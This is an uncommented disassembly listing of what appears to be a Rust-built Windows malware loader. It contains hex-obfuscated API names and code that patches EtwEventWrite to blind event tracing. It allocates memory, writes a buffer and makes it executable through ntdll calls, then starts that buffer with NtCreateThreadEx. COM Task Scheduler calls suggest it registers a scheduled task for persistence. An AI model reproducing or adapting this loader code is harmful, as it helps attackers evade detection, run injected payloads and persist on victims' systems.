cmp qword [rbp + 0x800], 0
je 0x14000e9d3
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], rbx
mov qword [rbp + 0x1f0], r13
cmp qword [rbp + 0x8d8], 0
je 0x14000ea0b
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor r13d, r13d
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov bl, 1
test eax, eax
js 0x14000ed3a
mov qword [rbp + 0x510], 0
mov qword [rsp + 0x20], r12
lea rcx, [0x14016f9e8]
lea r9, [0x14016f9b0]
xor edx, edx
mov r8d, 0x17
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov r15, qword [rbp + 0x510]
test eax, eax
js 0x14000ec32
test r15, r15
je 0x14000ec53
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x338], xmm0
movdqu xmmword [rbp + 0x788], xmm0
movdqu xmmword [rbp + 0x808], xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov rax, qword [r15]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x780], 0
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x510], 0
mov qword [rsp + 0x20], r12
lea rdi, [rbp + 0x330]
lea rsi, [rbp + 0x780]
lea r9, [rbp + 0x800]
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call rax
test eax, eax
js 0x14000ec4a
mov qword [rbp + 0x510], 0
mov rax, qword [r15]
lea r8, [rbp + 0x510]
mov rcx, r15
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x14000ec6b
mov r14, qword [rbp + 0x510]
test r14, r14
je 0x14000ec7a
mov qword [rbp + 0x510], 0
mov rax, qword [r14]
lea rdx, [rbp + 0x510]
mov rcx, r14
call qword [rax + 0x48]
test eax, eax
js 0x14000ec82
mov r12, qword [rbp + 0x510]
test r12, r12
je 0x14000ec91
mov qword [rbp + 0x510], 0
mov rax, qword [r14]
lea rdx, [rbp + 0x510]
mov rcx, r14
call qword [rax + 0x38]
test eax, eax
js 0x14000ec99
mov rax, qword [rbp + 0x510]
test rax, rax
je 0x14000eca5
mov qword [rbp + 0x8d8], rax
lea rcx, [rbp + 0x510]
mov rdx, r14
call fcn.140101cb0
cmp qword [rbp + 0x510], 0
mov r13, qword [rbp + 0x518]
jne 0x14000ed11
lea rcx, [rbp + 0x510]
mov rdx, r14
call fcn.140101c40
cmp qword [rbp + 0x510], 0
mov rax, qword [rbp + 0x518]
je 0x14000ecaa
mov rsi, rax
jmp 0x14000ed04
xor edi, edi
cmp qword [rbp + 0x800], 0
jne 0x14000e872
jmp 0x14000e884
xor r15d, r15d
cmp qword [rbp + 0x800], 0
jne 0x14000e8de
jmp 0x14000e8f0
xor ebx, ebx
cmp qword [rbp + 0x800], 0
jne 0x14000e94e
jmp 0x14000e960
xor r13d, r13d
cmp qword [rbp + 0x800], 0
jne 0x14000e9c1
jmp 0x14000e9d3
mov ecx, eax
call fcn.1401010f0
mov r13, rax
test r15, r15
jne 0x14000ed31
jmp 0x14000ed3a
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
xor r13d, r13d
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
jne 0x14000ed46
jmp 0x14000ed71
mov ecx, eax
call fcn.1401010f0
mov r13, rax
jmp 0x14000ed31
xor r13d, r13d
jmp 0x14000ed31
mov ecx, eax
call fcn.1401010f0
mov r13, rax
jmp 0x14000ed28
xor r13d, r13d
jmp 0x14000ed28
mov ecx, eax
call fcn.1401010f0
mov r13, rax
jmp 0x14000ed1e
xor r13d, r13d
jmp 0x14000ed1e
mov qword [rbp + 0x8c8], rax
lea rcx, [0x1401463a0]
mov edx, 1
call fcn.140100d30
lea rcx, [rbp + 0x510]
mov rdx, r15
mov r8, rax
call fcn.140101ef0
cmp qword [rbp + 0x510], 0
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x8c0], rax
je 0x14000f5c9
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rsi, qword [rbp + 0x8c0]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov r13, rsi
mov rcx, qword [rbp + 0x8d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
je 0x14000ed71
mov qword [rbp + 0x510], 0
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100ce0
mov rcx, qword [rbp + 0x1e0]
test rcx, rcx
je 0x14000eda8
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100ce0
mov rcx, qword [rbp + 0x1e8]
test rcx, rcx
je 0x14000eddf
mov qword [rbp + 0x510], 0
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100ce0
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14000ee16
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100ce0
cmp qword [rbp + 0x4e0], 0
je 0x14000ee36
mov r8, qword [rbp + 0x4e8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x14000ee64
lea rsi, [rbp + 0xa8]
lea rdi, [rbp + 0xb0]
lea rcx, [rbp + 0xa0]
call fcn.1401010b0
mov rcx, rsi
call fcn.1401010b0
mov rcx, rdi
call fcn.1401010b0
test r13, r13
je 0x14000ee73
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400d6700
call sub.kernel32.dll_GetCurrentProcess
mov rsi, rax
lea rdx, str.4574774576656e745772697465
lea rcx, [rbp + 0x510]
mov r8d, 0x1a
call fcn.140004420
mov rax, qword [rbp + 0x510]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000ff73
mov rdx, qword [rbp + 0x518]
mov rcx, qword [rbp + 0x520]
cmp rcx, 0x10
jae 0x14000eef8
test rcx, rcx
je 0x14000efa3
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000fda3
inc r9
cmp rcx, r9
jne 0x14000eee0
jmp 0x14000efa3
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000ef0e
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000ef3c
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000fda3
inc r9
cmp r8, r9
jne 0x14000ef20
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000ef7e
movdqa xmm0, xmmword [0x14010f730]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000ef7e
add r8, 0x10
cmp r8, r9
jbe 0x14000ef50
mov r10, rcx
sub r10, r8
je 0x14000efa3
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x14000fda0
inc r9
cmp r10, r9
jne 0x14000ef90
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
lea rcx, [rbp + 0x510]
call fcn.140010a40
mov r14, rax
mov rbx, rdx
lea rdx, str.6e74646c6c2e646c6c
lea rcx, [rbp + 0x510]
mov r8d, 0x12
call fcn.140004420
mov rax, qword [rbp + 0x510]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000ff8a
mov rdx, qword [rbp + 0x518]
mov rcx, qword [rbp + 0x520]
cmp rcx, 0x10
jae 0x14000f038
test rcx, rcx
je 0x14000f0e3
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x14000fdcb
inc r9
cmp rcx, r9
jne 0x14000f020
jmp 0x14000f0e3
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f04e
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f07c
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000fdcb
inc r9
cmp r8, r9
jne 0x14000f060
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f0be
movdqa xmm0, xmmword [0x14010f730]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f0be
add r8, 0x10
cmp r8, r9
jbe 0x14000f090
mov r10, rcx
sub r10, r8
je 0x14000f0e3
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x14000fdc8
inc r9
cmp r10, r9
jne 0x14000f0d0
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
lea rcx, [rbp + 0x510]
call fcn.140010a40
mov r12, rax
mov rdi, rdx
lea rdx, str.4e7450726f746563745669727475616c4d656d6f7279
lea rcx, [rbp + 0x510]
mov r8d, 0x2c
call fcn.140004420
mov rax, qword [rbp + 0x510]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000ffa1
mov rdx, qword [rbp + 0x518]
mov rcx, qword [rbp + 0x520]
cmp rcx, 0x10
jae 0x14000f178
test rcx, rcx
je 0x14000f223
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x14000fdf3
inc r9
cmp rcx, r9
jne 0x14000f160
jmp 0x14000f223
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f18e
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f1bc
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000fdf3
inc r9
cmp r8, r9
jne 0x14000f1a0
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f1fe
movdqa xmm0, xmmword [0x14010f730]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f1fe
add r8, 0x10
cmp r8, r9
jbe 0x14000f1d0
mov r10, rcx
sub r10, r8
je 0x14000f223
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x14000fdf0
inc r9
cmp r10, r9
jne 0x14000f210
mov qword [rbp + 0x8c0], rdi
mov qword [rbp + 0x8d8], rbx
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
lea rcx, [rbp + 0x510]
call fcn.140010a40
mov r15, rax
mov rbx, rdx
mov rcx, r12
call sub.kernel32.dll_GetModuleHandleA
mov rcx, rax
mov rdi, r14
mov rdx, r14
call sub.kernel32.dll_GetProcAddress
mov r13, rax
mov rcx, r12
call sub.kernel32.dll_GetModuleHandleA
mov rcx, rax
mov rdx, r15
call sub.kernel32.dll_GetProcAddress
mov r14, rax
mov qword [rsp + 0x20], 0
mov r8d, 4
mov rcx, rsi
mov rdx, r13
mov r9d, 4
call rax
mov qword [rsp + 0x20], 0
lea r8, [0x1401104f0]
mov r9d, 4
mov rcx, rsi
mov rdx, r13
call sub.kernel32.dll_WriteProcessMemory
mov qword [rsp + 0x20], 0
mov r8d, 4
mov rcx, rsi
mov rdx, r13
xor r9d, r9d
call r14
mov r8d, 4
mov rcx, rsi
mov rdx, r13
call sub.kernel32.dll_FlushInstructionCache
mov byte [r15], 0
test rbx, rbx
je 0x14000f30c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r12], 0
cmp qword [rbp + 0x8c0], 0
lea rsi, [0x14016f768]
mov r15, qword [rbp + 0x7d8]
mov r13, qword [rbp + 0x508]
je 0x14000f342
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi], 0
cmp qword [rbp + 0x8d8], 0
mov r14, qword [rbp + 0x778]
lea rbx, str._nlibrary_std_src_rt.rs
je 0x14000f36f
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], rsi
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
mov qword [rbp + 0x1d8], 0
mov rbx, qword [rbp + 0x8d0]
mov qword [rbp + 0x360], rbx
mov dword [rbp + 0xa0], 0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x48]
test rsi, rsi
jne 0x14000f3f3
call fcn.14004ae70
test rax, rax
je 0x14000ffdc
mov rsi, qword [rax]
inc qword [rsi]
je 0x14001032f
mov rax, qword [rsi + 0x110]
cmp rax, 0x40
jb 0x14000f445
lea rdx, [rsi + 0x10]
lea rcx, [rsi + 0x120]
mov rax, qword [rsi + 0x158]
test rax, rax
jle 0x14000f43e
cmp qword [rsi + 0x160], 0
js 0x14000f43e
add rax, 0xffffffffffffff00
mov qword [rsi + 0x158], rax
call fcn.14004b270
jmp 0x14000f443
call fcn.140004210
xor eax, eax
mov edi, dword [rsi + rax*4 + 0x10]
inc rax
mov qword [rsi + 0x110], rax
and edi, 1
or edi, 0x1000
dec qword [rsi]
jne 0x14000f479
dec qword [rsi + 8]
jne 0x14000f479
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x28], 0x40
lea rsi, [rbp + 0x1d8]
lea rdi, [rbp + 0x360]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp + 0x1d8]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r15
mov r9, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9d, 0x50
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp + 0x510], 0
mov rax, qword [rbp + 0x1d8]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp + 0x510]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp + 0x510]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test r13, r13
je 0x14000f56e
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 1
cmp qword [rbp + 0x768], 0
je 0x14000f597
mov rcx, qword [0x14017d208]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0x8b8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000b961
xor esi, esi
jmp 0x14000b961
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013b958]
lea r8, [rbp + 0x8e7]
mov edx, 0x17
call fcn.1401049b0
mov qword [rbp + 0x8b0], r13
mov qword [rbp + 0x8a8], r14
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
movdqu xmm0, xmmword [rbp + 0xa0]
movdqu xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x800], 0
mov rax, qword [r12]
lea r8, [rbp + 0x800]
mov qword [rbp + 0x8a0], r12
mov rcx, r12
mov edx, 6
call qword [rax + 0x50]
test eax, eax
js 0x14000fc18
mov r15, qword [rbp + 0x800]
test r15, r15
je 0x14000fc24
mov qword [rbp + 0x800], 0
mov rax, qword [r15]
lea rdx, [0x14016f9a0]
lea r8, [rbp + 0x800]
mov rcx, r15
call qword [rax]
mov r12, qword [rbp + 0x800]
test eax, eax
js 0x14000fc29
test r12, r12
je 0x14000fc60
mov rdx, qword [rbp + 0x510]
mov rax, qword [r12]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f6d8
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov r14b, 1
test ebx, ebx
js 0x14000fc56
mov rax, qword [r12]
mov rcx, r12
mov dx, 1
call qword [rax + 0x98]
test eax, eax
js 0x14000fc56
mov rdx, qword [rbp + 0x520]
mov rax, qword [r12]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f75b
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
test ebx, ebx
js 0x14000fd96
mov qword [rbp + 0x800], 0
mov rax, qword [r12]
lea rdx, [rbp + 0x800]
mov rcx, r12
call qword [rax + 0x50]
test eax, eax
js 0x14000fe3a
mov rbx, qword [rbp + 0x800]
test rbx, rbx
je 0x14000fd96
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbx]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x800], 1
lea r14, [rbp + 0x808]
mov qword [rbp + 0x808], rdx
mov rcx, rbx
call rax
mov r13d, eax
mov rcx, r14
call fcn.1401010b0
test r13d, r13d
js 0x14000fe48
movzx edx, word [rbp + 0x528]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x60]
test eax, eax
js 0x14000fe48
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
movdqu xmm0, xmmword [rbp + 0x1d8]
movdqu xmm1, xmmword [rbp + 0x1e8]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x800], 0
mov rcx, qword [rbp + 0x8b0]
mov rax, qword [rcx]
lea r8, [rbp + 0x800]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
js 0x14000feb9
mov r15, qword [rbp + 0x800]
test r15, r15
je 0x140010007
mov qword [rbp + 0x800], 0
mov rax, qword [r15]
lea rdx, str.MbLk
lea r8, [rbp + 0x800]
mov rcx, r15
call qword [rax]
mov r12, qword [rbp + 0x800]
test eax, eax
js 0x14001001c
test r12, r12
je 0x14001009e
mov rdx, qword [rbp + 0x518]
mov rax, qword [r12]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov dword [rbp + 0x774], eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f900
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov bl, 1
cmp dword [rbp + 0x774], 0
js 0x140010037
mov rdx, qword [rbp + 0x510]
mov rax, qword [r12]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov r13d, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f96f
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
test r13d, r13d
js 0x140010037
mov rdx, qword [rbp + 0x520]
mov rax, qword [r12]
mov rax, qword [rax + 0x78]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f9d7
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov r14b, 1
test ebx, ebx
js 0x140010221
mov rdx, qword [rbp + 0x528]
mov rax, qword [r12]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000fa41
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
test ebx, ebx
js 0x140010256
movabs rbx, 0xffffffff00000000
mov r14, qword [rbp + 0x8a0]
and rbx, r14
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
shr rbx, 0x20
mov dword [rbp + 0x374], ebx
mov rax, qword [rbp + 0x8b0]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x8c8]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x8c0]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x8a8]
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x368], rax
mov dword [rbp + 0x370], r14d
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x360]
call fcn.140101fa0
cmp qword [rbp + 0x800], 0
je 0x14001025d
mov rax, qword [rbp + 0x808]
mov ecx, dword [rbp + 0x810]
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x338], ecx
mov qword [rbp + 0x780], rdi
lea rax, [0x140101d20]
mov qword [rbp + 0x788], rax
lea rax, str.Error_registering_task:__
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400dec40
mov r13, qword [rbp + 0x330]
jmp 0x1400101da
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140104a60
mov qword [rbp + 0x800], rbx
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x510], rax
lea rax, case.0x1400b40f6.828
mov qword [rbp + 0x518], rax
lea rcx, [rbp + 0x1d8]
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], rax
mov qword [rbp + 0x530], rsi
lea rax, [fcn.1400da7b0]
mov qword [rbp + 0x538], rax
lea rax, [0x140145bf8]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], 3
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x378], 3
lea rdx, [0x140145c28]
lea rcx, [rbp + 0x360]
call fcn.140104620
jmp 0x14001032f
mov ecx, eax
call fcn.1401010f0
mov r13, rax
jmp 0x14000fc6c
xor r13d, r13d
jmp 0x14000fc6c
mov ecx, eax
call fcn.1401010f0
mov r13, rax
test r12, r12
je 0x14000fc63
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
jmp 0x14000fc63
lea r8, [0x14010fd68]
mov rcx, r15
mov rdx, rbx
call fcn.140104660
xor r13d, r13d
xor esi, esi
jmp 0x14000fe5a
xor r13d, r13d
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x510]
mov r14b, 1
test rcx, rcx
je 0x14000fca6
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x510]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x14000fcdd
lea rax, [rbp + 0x518]
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
test r14b, r14b
je 0x14000fd19
mov rcx, qword [rbp + 0x520]
test rcx, rcx
je 0x14000fd19
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x520]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov rcx, qword [rbp + 0x8a8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8a0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor ebx, ebx
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
jne 0x14000ed46
jmp 0x14000ed71
lea rcx, [0x14010fd00]
lea r8, [0x14010fd38]
mov edx, 0x36
call fcn.1401046f0
xor r13d, r13d
xor esi, esi
jmp 0x14000fe57
add r9, r8
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], r9
lea rax, str.srcmain.rs
jmp 0x14000fe16
add r9, r8
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], r9
lea rax, str.srcmain.rs
jmp 0x14000fe16
add r9, r8
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], r9
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.CString::new_failed
lea r9, [0x14010fda0]
lea r8, [rbp + 0x510]
mov edx, 0x13
call fcn.1401049b0
mov ecx, eax
call fcn.1401010f0
mov r13, rax
xor esi, esi
jmp 0x14000fe57
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov sil, 1
xor r13d, r13d
xor r14d, r14d
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
test sil, sil
je 0x14000fca6
jmp 0x14000fcdd
lea rcx, [rbp + 0x780]
call fcn.140002250
mov qword [rbp + 0x510], rsi
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14010fe60]
lea r8, [rbp + 0x510]
mov edx, 0x2b
call fcn.1401049b0
mov ecx, eax
call fcn.1401010f0
mov r13, rax
jmp 0x1400100aa
lea rcx, str.srcmain.rs
call fcn.140104a40
movzx eax, byte [rbp + 0x361]
mov byte [rbp + 0xa0], al
lea rax, str.srcmain.rs
jmp 0x14000ff0a
lea rcx, str.srcmain.rs
call fcn.140104a40
movzx eax, byte [rbp + 0x361]
mov byte [rbp + 0xa0], al
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14010fe40]
lea r8, [rbp + 0xa0]
mov edx, 0x2b
call fcn.1401049b0
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x1d8], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
